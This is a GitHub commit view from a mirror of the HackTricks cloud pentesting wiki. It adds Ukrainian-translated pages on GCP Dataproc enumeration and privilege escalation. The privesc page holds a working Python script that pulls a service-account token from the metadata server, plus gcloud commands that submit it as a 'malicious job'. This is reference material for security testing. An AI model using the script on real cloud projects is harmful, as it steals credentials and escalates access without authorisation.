mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 04:55:32 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,54 @@
|
||||
# GCP Dataproc Privilege Escalation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataproc
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-dataproc-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
|
||||
|
||||
Мені не вдалося отримати зворотний шелл за допомогою цього методу, однак можливо витягти токен SA з кінцевої точки метаданих, використовуючи метод, описаний нижче.
|
||||
|
||||
#### Кроки для експлуатації
|
||||
|
||||
- Розмістіть скрипт завдання в GCP Bucket
|
||||
|
||||
- Подайте завдання до кластера Dataproc.
|
||||
|
||||
- Використовуйте завдання для доступу до сервера метаданих.
|
||||
|
||||
- Витягніть токен облікового запису служби, що використовується кластером.
|
||||
```python
|
||||
import requests
|
||||
|
||||
metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
|
||||
headers = {"Metadata-Flavor": "Google"}
|
||||
|
||||
def fetch_metadata_token():
|
||||
try:
|
||||
response = requests.get(metadata_url, headers=headers, timeout=5)
|
||||
response.raise_for_status()
|
||||
token = response.json().get("access_token", "")
|
||||
print(f"Leaked Token: {token}")
|
||||
return token
|
||||
except Exception as e:
|
||||
print(f"Error fetching metadata token: {e}")
|
||||
return None
|
||||
|
||||
if __name__ == "__main__":
|
||||
fetch_metadata_token()
|
||||
```
|
||||
|
||||
```bash
|
||||
# Copy the script to the storage bucket
|
||||
gsutil cp <python-script> gs://<bucket-name>/<python-script>
|
||||
|
||||
# Submit the malicious job
|
||||
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
|
||||
--cluster=<cluster-name> \
|
||||
--region=<region>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,43 @@
|
||||
# GCP - Dataproc Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Google Cloud Dataproc - це повністю керована служба для запуску Apache Spark, Apache Hadoop, Apache Flink та інших фреймворків великих даних. Вона в основному використовується для обробки даних, запитів, машинного навчання та аналітики потоків. Dataproc дозволяє організаціям легко створювати кластери для розподілених обчислень, безперешкодно інтегруючись з іншими службами Google Cloud Platform (GCP), такими як Cloud Storage, BigQuery та Cloud Monitoring.
|
||||
|
||||
Кластери Dataproc працюють на віртуальних машинах (VM), а обліковий запис служби, пов'язаний з цими VM, визначає дозволи та рівень доступу до кластера.
|
||||
|
||||
## Компоненти
|
||||
|
||||
Кластер Dataproc зазвичай включає:
|
||||
|
||||
Master Node: Керує ресурсами кластера та координує розподілені завдання.
|
||||
|
||||
Worker Nodes: Виконують розподілені завдання.
|
||||
|
||||
Service Accounts: Обробляють API виклики та отримують доступ до інших служб GCP.
|
||||
|
||||
## Перерахування
|
||||
|
||||
Кластери Dataproc, завдання та конфігурації можна перерахувати для збору чутливої інформації, такої як облікові записи служби, дозволи та потенційні неправильні налаштування.
|
||||
|
||||
### Перерахування кластерів
|
||||
|
||||
Щоб перерахувати кластери Dataproc та отримати їх деталі:
|
||||
```
|
||||
gcloud dataproc clusters list --region=<region>
|
||||
gcloud dataproc clusters describe <cluster-name> --region=<region>
|
||||
```
|
||||
### Перерахунок завдань
|
||||
```
|
||||
gcloud dataproc jobs list --region=<region>
|
||||
gcloud dataproc jobs describe <job-id> --region=<region>
|
||||
```
|
||||
### Privesc
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-dataproc-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user